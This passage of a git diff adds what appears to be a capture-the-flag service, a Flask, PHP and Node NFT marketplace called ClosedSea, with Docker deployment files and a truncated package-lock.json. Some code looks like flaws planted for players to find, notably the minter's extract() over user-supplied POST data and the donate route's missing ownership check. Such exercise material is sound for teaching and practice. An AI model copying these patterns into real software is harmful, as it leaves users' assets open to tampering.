flash('This NFT is private! You cannot buy it!') + return redirect(url_for('frontend.view', nft_id=nft_id)) + + signature = request.form.get('signature', False) + if not signature: + flash('You need to sign the transaction') + return redirect(url_for('frontend.view', nft_id=nft_id)) + + data = { + 'nft_id': nft_id, + 'user_id': user_id, + 'signature': signature, + 'pubkey': session['public_key'] + } + result = requests.post(API_BUY, json=data).json() + if result['success']: + return redirect(url_for('frontend.view', nft_id=result["new_id"])) + + flash(result['message']) + return redirect(url_for('frontend.view', nft_id=nft_id)) + + +@frontend.post('/donate/') +@logged +def donate(nft_id): + API_DONATE = current_app.config['TRANSACTION_BASE'] + '/donate' + nft = retrieve_nft(nft_id) + + if not nft: + abort(404) + + signature = request.form.get('signature', False) + if not signature: + flash('You need to sign the transaction') + return redirect(url_for('frontend.view', nft_id=nft_id)) + + # Actual donate + to_addr = request.form.get('to_addr', False) + + to_user = retrieve_user(to_addr) + if not to_user: + flash('Cannot find recipient') + return redirect(url_for('frontend.view', nft_id=nft_id)) + + data = { + 'nft_id': nft_id, + 'from_addr': nft["owner"], + 'to_addr': to_addr, + 'signature': signature, + 'pubkey': session['public_key'] + } + result = requests.post(API_DONATE, json=data).json() + + if 'success' in result and result['success']: + flash("Succesfully donated!") + return redirect(url_for('frontend.view', nft_id=result['new_id'])) + try: + flash(result['message']) + except: + flash('Something went wrong') + return redirect(url_for('frontend.view', nft_id=nft_id)) diff --git a/services/service1/service/closedsea/src/views/helpers.py b/services/service1/service/closedsea/src/views/helpers.py new file mode 100644 index 0000000..950f4b8 --- /dev/null +++ b/services/service1/service/closedsea/src/views/helpers.py @@ -0,0 +1,118 @@ +from .exceptions import NotLogged, WrongPassword +from flask import request, session, flash, redirect, url_for, g +from werkzeug.security import generate_password_hash, check_password_hash +from functools import wraps +import uuid + +def logged(func): + @wraps(func) + def f(*args, **argv): + if not is_logged(): + flash('You need to sign-in first to do that') + return redirect(url_for('frontend.login_page')) + return func(*args, **argv) + return f + +def not_logged(func): + @wraps(func) + def f(*args, **argv): + if is_logged(): + return redirect(url_for('frontend.index')) + return func(*args, **argv) + return f + +def get_current_user(): + if not is_logged(): + raise NotLogged() + + return session['username'] + +def is_logged(): + return 'username' in session + +def do_query(query, params, commit=False): + cursor = g.mysql.connection.cursor() + cursor.execute(query, params) + + if commit: + g.mysql.connection.commit() + result = cursor.fetchall() + insertObject = [] + try: + columnNames = [column[0] for column in cursor.description] + + for record in result: + insertObject.append( dict( zip( columnNames , record ) ) ) + except TypeError: + return None + finally: + cursor.close() + return insertObject + +def register_user(username, password, public_key): + + user_id = uuid.uuid4() + query = 'INSERT INTO users (id, username,password, public_key) VALUES (%s, %s, %s, %s)' + + password_hash = generate_password_hash(password) + try: + do_query(query, [user_id, username, password_hash, public_key], commit=True) + except: + return False + return user_id + + +def login_user(username, password): + query = 'SELECT id, public_key, password FROM users WHERE username = %s' + result = do_query(query, [username]) + + if len(result) != 1: + raise WrongPassword + password_hash = result[0]['password'] + + if not check_password_hash(password_hash, password): + raise WrongPassword + + return result[0]['id'], result[0]['public_key'] + +def get_public_nft(offset, number): + query = 'SELECT * FROM nfts JOIN nft_chain ON nfts.nft_id = nft_chain.nft_id WHERE price != 0 and nft_chain.chain_number=TRUE ORDER BY nft_created DESC LIMIT %s,%s' + result = do_query(query, [offset, number]) + + return result + +def retrieve_user(user_id): + query = 'SELECT * FROM users WHERE id = %s' + user = do_query(query, [user_id]) + if len(user) < 1: + return False + return user[0] + +def retrieve_nft(nft_id): + query = 'SELECT * FROM nfts JOIN nft_chain on nfts.nft_id = nft_chain.nft_id WHERE nfts.nft_id = %s' + nft = do_query(query, [nft_id]) + if len(nft) < 1: + return False + return nft[0] + +def is_nft_public(nft_id): + query = 'SELECT * FROM nfts JOIN nft_chain on nfts.nft_id = nft_chain.nft_id WHERE nfts.nft_id = %s and nft_chain.chain_number = 1' + nft = do_query(query, [nft_id]) + return len(nft) == 1 + +def user_has_nft(user, nft_id): + query = 'SELECT * FROM nfts WHERE nft_id = %s and owner = %s' + nft = do_query(query, [nft_id, user]) + return len(nft) > 0 + +def retrieve_user_nfts(user): + query = 'SELECT * FROM nfts JOIN nft_chain on nfts.nft_id = nft_chain.nft_id WHERE nfts.owner = %s' + nft = do_query(query, [user]) + + return nft + +def retrieve_user_public_nfts(user): + query = 'SELECT * FROM nfts JOIN nft_chain on nfts.nft_id = nft_chain.nft_id WHERE nfts.owner = %s and nft_chain.chain_number=TRUE' + nft = do_query(query, [user]) + + return nft diff --git a/services/service1/service/deploy.sh b/services/service1/service/deploy.sh new file mode 100644 index 0000000..34806c5 --- /dev/null +++ b/services/service1/service/deploy.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +DB_PASS=$(hexdump -vn16 -e'4/4 "%08X" 1 "\n"' /dev/urandom); +SECRET_CLOSEDSEA=$(hexdump -vn16 -e'4/4 "%08X" 1 "\n"' /dev/urandom); + +if [[ ! -f ".env" ]] +then + echo "BLOCKCHAIN_PASSWORD=${DB_PASS}" > .env + echo "SECRET_CLOSEDSEA=${SECRET_CLOSEDSEA}" >> .env +fi + +docker-compose up --build --remove-orphans -d diff --git a/services/service1/service/docker-compose.yml b/services/service1/service/docker-compose.yml new file mode 100644 index 0000000..bf6d6cc --- /dev/null +++ b/services/service1/service/docker-compose.yml @@ -0,0 +1,52 @@ +version: "3.8" + +services: + closedsea: + build: closedsea + environment: + SECRET: "${SECRET_CLOSEDSEA}" + DBHOST: blockchain + DBUSER: root + DBPASS: "${BLOCKCHAIN_PASSWORD}" + DBSCHEMA: blockchain + ports: + - "0.0.0.0:3003:80" + command: bash -c "/usr/bin/supervisord" + depends_on: + - blockchain + restart: unless-stopped + + blockchain: + image: mysql + environment: + MYSQL_ROOT_PASSWORD: "${BLOCKCHAIN_PASSWORD}" + command: ["--default-authentication-plugin=mysql_native_password"] + volumes: + - ./blockchain/init:/docker-entrypoint-initdb.d + - ./blockchain/data:/var/lib/mysql + healthcheck: + test: ["CMD", "mysqladmin", "ping", "-h", "localhost"] + timeout: 5s + retries: 10 + restart: unless-stopped + + transactions: + build: transactions + command: ["node", "app.js"] + environment: + DBHOST: blockchain + DBUSER: root + DBPASS: "${BLOCKCHAIN_PASSWORD}" + DBSCHEMA: blockchain + depends_on: + - blockchain + restart: unless-stopped + + minter: + build: minter + environment: + CLOSED_SEA_HOST: closedsea + TRANSACTION_HOST: transactions:8085 + ports: + - "0.0.0.0:3004:80" + restart: unless-stopped diff --git a/services/service1/service/minter/Dockerfile b/services/service1/service/minter/Dockerfile new file mode 100644 index 0000000..ebae5c8 --- /dev/null +++ b/services/service1/service/minter/Dockerfile @@ -0,0 +1,3 @@ +FROM php:7.2-apache + +COPY app /var/www/html \ No newline at end of file diff --git a/services/service1/service/minter/app/classes/functions.php b/services/service1/service/minter/app/classes/functions.php new file mode 100644 index 0000000..f9be308 --- /dev/null +++ b/services/service1/service/minter/app/classes/functions.php @@ -0,0 +1,38 @@ + array( + 'header' => "Content-type: application/json\r\n", + 'method' => 'POST', + 'content' => $data + ) + ); + $context = stream_context_create($options); + $result = file_get_contents($path, false, $context); + if(!$result){ + return FALSE; + } + return json_decode($result); +} + +function guidv4($data = null) { + // Generate 16 bytes (128 bits) of random data or use the data passed into the function. + $data = $data ?? random_bytes(16); + assert(strlen($data) == 16); + + // Set version to 0100 + $data[6] = chr(ord($data[6]) & 0x0f | 0x40); + // Set bits 6-7 to 10 + $data[8] = chr(ord($data[8]) & 0x3f | 0x80); + + // Output the 36 character UUID. + return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4)); +} diff --git a/services/service1/service/minter/app/classes/nft.php b/services/service1/service/minter/app/classes/nft.php new file mode 100644 index 0000000..0f19e8b --- /dev/null +++ b/services/service1/service/minter/app/classes/nft.php @@ -0,0 +1,49 @@ +nft_data['id'] = guidv4(); + return; + } + + public function setNFTData($data){ + $data['price'] = intval($data['price']); + $data['title'] = htmlspecialchars($data['title']); + $data['data'] = htmlspecialchars($data['data']); + $this->nft_data= array_merge($this->nft_data, $data); + } + + + public function setOwner($owner){ + $this->nft_data['owner'] = $owner; + } + + + public function getUrl() { + return "http://" . $_SERVER['SERVER_NAME'] . ":3003" . "/view/" . $this->id; + } + + public function mint(){ + $MINT_PATH = 'http://' . getenv('TRANSACTION_HOST') . '/mint'; + extract($this->nft_data); + + $post_data = [ + 'price' => $price, + 'owner' => $owner, + 'data' => $data, + 'title' => $title, + 'public' => $public, + 'id' => $id + ]; + $res = request_post($MINT_PATH, $post_data); + if ($res == false) return false; + $this->id = $res->new_id; + return $res->success; + + } + +} diff --git a/services/service1/service/minter/app/classes/user.php b/services/service1/service/minter/app/classes/user.php new file mode 100644 index 0000000..4c6e4bb --- /dev/null +++ b/services/service1/service/minter/app/classes/user.php @@ -0,0 +1,29 @@ + $username, + 'password' => $password + ]; + $LOGIN_PATH = 'http://' . getenv('CLOSED_SEA_HOST') . '/api/login'; + $result = request_post($LOGIN_PATH, $data); + + if(!$result){ + throw new Exception('Cannot login user'); + } + $this->username = $result->username; + $this->id = $result->user_id; + $this->public_key = $result -> public_key; + } + + public function getId(){ + return $this->id; + } +} \ No newline at end of file diff --git a/services/service1/service/minter/app/index.php b/services/service1/service/minter/app/index.php new file mode 100644 index 0000000..9dc7cf8 --- /dev/null +++ b/services/service1/service/minter/app/index.php @@ -0,0 +1,108 @@ + 50) { + die('NFT title must be smaller than 50 chars'); + } + if (strlen($_POST['data']) > 2000) { + die('NFT data must be smaller than 1000 chars'); + } + + $_POST['public'] = isset($_POST['public']) && $_POST['public'] === 'true'; + + $nft = new NFT(); + $nft->setNFTData($_POST); + $nft->setOwner($_SESSION['user']->getId()); + + if ($nft->mint()) { + $url = $nft->getURL(); + } else { + die('error'); + } +} + +?> + + + + + + ClosedSea - Minter + + + + + + + + + + + + + + + +
        +
        +
        + +
        +

        ClosedSea

        +
        + + \n"; + } ?> + + +
        + +

        Mint an nft

        +
        +
        + + +
        + +
        + + +
        + +
        + + +
        + + +
        + + +
        + +
        + +
        +
        +
        +
        +
        + + + + + \ No newline at end of file diff --git a/services/service1/service/minter/app/login.php b/services/service1/service/minter/app/login.php new file mode 100644 index 0000000..74007fd --- /dev/null +++ b/services/service1/service/minter/app/login.php @@ -0,0 +1,90 @@ + + + + + + + ClosedSea - Minter + + + + + + + + + + + + + + + +
        +
        +
        + +
        +

        ClosedSea

        +
        + + + + +
        + +

        Login

        +
        + + +
        + +
        + + +
        + + +
        + +
        + + +
        + +
        + +
        +
        +
        +
        +
        + + + + + + + \ No newline at end of file diff --git a/services/service1/service/sample.env b/services/service1/service/sample.env new file mode 100644 index 0000000..03bc00b --- /dev/null +++ b/services/service1/service/sample.env @@ -0,0 +1,2 @@ +BLOCKCHAIN_PASSWORD=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +SECRET_CLOSEDSEA=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/services/service1/service/transactions/.gitignore b/services/service1/service/transactions/.gitignore new file mode 100644 index 0000000..c2658d7 --- /dev/null +++ b/services/service1/service/transactions/.gitignore @@ -0,0 +1 @@ +node_modules/ diff --git a/services/service1/service/transactions/Dockerfile b/services/service1/service/transactions/Dockerfile new file mode 100644 index 0000000..8e5583c --- /dev/null +++ b/services/service1/service/transactions/Dockerfile @@ -0,0 +1,19 @@ +FROM node:16 + +# Create app directory +WORKDIR /srv/app + +# Install app dependencies +# A wildcard is used to ensure both package.json AND package-lock.json are copied +# where available (npm@5+) +COPY package.json ./ + +RUN npm install +# If you are building your code for production +# RUN npm ci --only=production + +# Bundle app source +COPY src/ . + +EXPOSE 8085 +CMD [ "node", "app.js" ] diff --git a/services/service1/service/transactions/package-lock.json b/services/service1/service/transactions/package-lock.json new file mode 100644 index 0000000..42bc3c4 --- /dev/null +++ b/services/service1/service/transactions/package-lock.json @@ -0,0 +1,2109 @@ +{ + "name": "docker_web_app", + "version": "1.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "docker_web_app", + "version": "1.0.0", + "dependencies": { + "elliptic": "^6.5.4", + "express": "^4.16.1", + "express-async-handler": "^1.2.0", + "mysql": "^2.18.1", + "socket.io": "^4.5.1", + "socket.io-client": "^4.5.1", + "spdy": "^4.0.2", + "uuid": "^8.3.2" + } + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.0.tgz", + "integrity": "sha512-+9jVqKhRSpsc591z5vX+X5Yyw+he/HCB4iQ/RYxw35CEPaY1gnsNE43nf9n9AaYjAQrTiI/mOwKUKdUs9vf7Xg==" + }, + "node_modules/@types/component-emitter": { + "version": "1.2.11", + "resolved": "https://registry.npmjs.org/@types/component-emitter/-/component-emitter-1.2.11.tgz", + "integrity": "sha512-SRXjM+tfsSlA9VuG8hGO2nft2p8zjXCK1VcC6N4NXbBbYbSia9kzCChYQajIjzIqOOOuh5Ock6MmV2oux4jDZQ==" + }, + "node_modules/@types/cookie": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@types/cookie/-/cookie-0.4.1.tgz", + "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==" + }, + "node_modules/@types/cors": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz", + "integrity": "sha512-vt+kDhq/M2ayberEtJcIN/hxXy1Pk+59g2FV/ZQceeaTyCtCucjL2Q7FXlFjtWn4n15KCr1NE2lNNFhp0lEThw==" + }, + "node_modules/@types/node": { + "version": "17.0.35", + "resolved": "https://registry.npmjs.org/@types/node/-/node-17.0.35.tgz", + "integrity": "sha512-vu1SrqBjbbZ3J6vwY17jBs8Sr/BKA+/a/WtjRG+whKg1iuLFOosq872EXS0eXWILdO36DHQQeku/ZcL6hz2fpg==" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/base64id": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", + "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==", + "engines": { + "node": "^4.5.0 || >= 5.9" + } + }, + "node_modules/bignumber.js": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.0.tgz", + "integrity": "sha512-t/OYhhJ2SD+YGBQcjY8GzzDHEk9f3nerxjtfa6tlMXfe7frs/WozhvCNoGvpM0P3bNf3Gq5ZRMlGr5f3r4/N8A==", + "engines": { + "node": "*" + } + }, + "node_modules/bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" + }, + "node_modules/body-parser": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", + "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.10.3", + "raw-body": "2.5.1", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==" + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/cors": { + "version": "2.8.5", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", + "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "node_modules/elliptic": { + "version": "6.5.4", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", + "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "dependencies": { + "bn.js": "^4.11.9", + "brorand": "^1.1.0", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/engine.io": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.2.0.tgz", + "integrity": "sha512-4KzwW3F3bk+KlzSOY57fj/Jx6LyRQ1nbcyIadehl+AnXjKT7gDO0ORdRi/84ixvMKTym6ZKuxvbzN62HDDU1Lg==", + "dependencies": { + "@types/cookie": "^0.4.1", + "@types/cors": "^2.8.12", + "@types/node": ">=10.0.0", + "accepts": "~1.3.4", + "base64id": "2.0.0", + "cookie": "~0.4.1", + "cors": "~2.8.5", + "debug": "~4.3.1", + "engine.io-parser": "~5.0.3", + "ws": "~8.2.3" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/engine.io-client": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.2.2.tgz", + "integrity": "sha512-8ZQmx0LQGRTYkHuogVZuGSpDqYZtCM/nv8zQ68VZ+JkOpazJ7ICdsSpaO6iXwvaU30oFg5QJOJWj8zWqhbKjkQ==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1", + "engine.io-parser": "~5.0.3", + "ws": "~8.2.3", + "xmlhttprequest-ssl": "~2.0.0" + } + }, + "node_modules/engine.io-client/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/engine.io-client/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/engine.io-parser": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.0.4.tgz", + "integrity": "sha512-+nVFp+5z1E3HcToEnO7ZIj3g+3k9389DvWtvJZz0T6/eOCPIyyxehFcedoYrZQrp0LgQbD9pPXhpMBKMd5QURg==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/engine.io/node_modules/cookie": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/engine.io/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/engine.io/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", + "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.0", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.5.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.10.3", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express-async-handler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/express-async-handler/-/express-async-handler-1.2.0.tgz", + "integrity": "sha512-rCSVtPXRmQSW8rmik/AIb2P0op6l7r1fMW538yyvTMltCO4xQEWMmobfrIxN2V1/mVrgxB8Az3reYF6yUZw37w==" + }, + "node_modules/finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": 